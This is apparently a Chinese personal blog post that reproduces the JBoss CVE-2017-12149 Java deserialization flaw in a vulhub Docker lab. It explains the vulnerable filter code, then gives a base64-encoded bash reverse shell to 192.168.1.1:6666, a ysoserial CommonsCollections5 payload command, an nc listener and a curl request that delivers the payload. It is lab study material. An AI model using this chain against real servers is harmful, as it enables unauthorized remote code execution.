简介

JBoos是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。 JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0 和 EJB3 的规范。但 JBoss核心服务不包括支持 servlet/JSP 的WEB容器,一般与 Tomat 或Jetty绑定使用。


本博客所有内容均为作者的个人学习笔记记录,作者也是小白一枚,如果有什么地方写的不对或者对您带来影响欢迎底部留言或者点击右下角的图标与我联系吧

本博客的所有Security 大类下的文章只能作为学习研究使用不可用于非法测试和攻击,请遵循网络安全法,共筑和谐网络

如果喜欢我的文章欢迎各位大佬点击右下角的订阅图标开启浏览器推送吧,这样你只要不清除浏览器缓存就能第一时间收到我的更新通知啦(如果你的网络如果能上Google就用Chrome浏览器订阅,如果不能推荐用微软的Edge浏览器,目前正在寻找解决办法,订阅成功后会有一条提示成功,如果未收到表示网络限制原因未订阅成功)

中华人民共和国网络安全法(2017年6月1日起施行) 第二十二条任何个人和组织不得从事入侵他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供从事入侵网络、干扰网络正常功能、窃取网络数据等危害网络安全活动的工具和制作方法;不得为他人实施危害网络安全的活动提供技术支持、广告、推广、支付结算等帮助。 第三十八条任何个人和组织不得窃取或者以其他非法方式获取公民个人信息,不得出售或者非法向他人提供公民个人信息 第六十三条违反本法规定,给他人造成损害的,依法承担民事责任 第六十四条违反本法规定,构成犯罪的,依法追究刑事责任 中华人民共和国刑法(285286) 第二百八十五条违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的处三年以下有期徒刑或者拘役 第二百八十六条违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役:后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚 中华人民共和国刑法修正案7(第九条) 在刑法第二百八十五条中增加两款作为第二款、第三款:“违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金:情节特别严重的,处三年以上七年以下有期徒刑,并处罚金提供专门用于侵入、非法控制计算机信息系统的程序、或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严依照前款的规定处罚。


参考资料

Jboss漏洞利用

bash反弹shell时候,由于 Runtime. getRuntime()exec()中不能使用重定向和管道符符号,需要对其进行Base64编码

ysoserial是一款目前最流行的Java反序列化 Payload生成工具,目前支持29种的 Payload生成。所以我们使用 ysoserial来复现生成序列化数据,并重定向到exp.ser文件

反序列化工具ysoserial生成的payload无效

漏洞复现

JBoss5×/6x反序列化漏洞

简述

漏洞环境:CVE-2017-12149

  • 该漏洞为Java反序列化错误类型,存在于 Jboss的 Httpinvoker组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
  • 源码在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest httpRequest = (HttpServletRequest)request;
Principal user = httpRequest.getUserPrincipal();
if ((user == null) && (this.readOnlyContext != null))
{
ServletInputStream sis = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(sis);
MarshalledInvocation mi = null;
try
{
mi = (MarshalledInvocation)ois.readObject(); // 漏洞点
}
catch (ClassNotFoundException e)
{
throw new ServletException("Failed to read MarshalledInvocation", e);
}
request.setAttribute("MarshalledInvocation", mi);

mi.setMethodMap(this.namingMethodMap);
Method m = mi.getMethod();
if (m != null) {
validateAccess(m, mi);
}
}
chain.doFilter(request, response);
}

直接从http中获取数据,在没有进行检查或者过滤的情况下,尝试调用readobject()方法对数据流进行反序列操作,因此产生了Java反序列化漏洞。


启动

1
2
3
4
5
6
7
8
9
10
11
12
# 进入vulhub
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd jboss/CVE-2017-12149
# 自动化编译环境
docker-compose build
#执行如下命令启动服务
docker-compose up -d
#重新启动一个容器 安全组没开端口
docker run -dt --name docker_weblogic -p 8080:8080 -p 9090:9990 --rm 5495c1f64144
# 测试完成后,删除整个环境
docker-compose down -v

启动后页面

漏洞复现

  • 进入漏洞页面 http://www.security.ada:8080/invoker/readonly
  • http响应码500(内部服务器错误——服务器端的CGI、ASP、JSP等程序发生错误),分析猜想,此处服务器将用户提交的POST内容进行了Java反序列化。

确认环境

编写反弹shell的命令

1
2
3
4
#源指令
bash -i >& /dev/tcp/192.168.1.1/6666 0>&1
#编码后指令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}

编写反弹 shell 命令

序列化数据生成

  • 使用ysoserial来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5
  • ysoserial- payload无效 请使用CMD生成POC 不要使用 powershell 执行命令
1
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

序列化数据生成

反弹shell

curl 执行
1
2
3
4
#远程主机开启监听
nc -lvvp 6666
#本地机器执行 curl 指令 以二进制方式发送 poc.ser
curl www.security.ada:8080/invoker/readonly --data-binary @poc.ser

curl 执行 poc.ser 文件

BurpSuite

生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly即可:

BurpSuite 执行poc.ser文件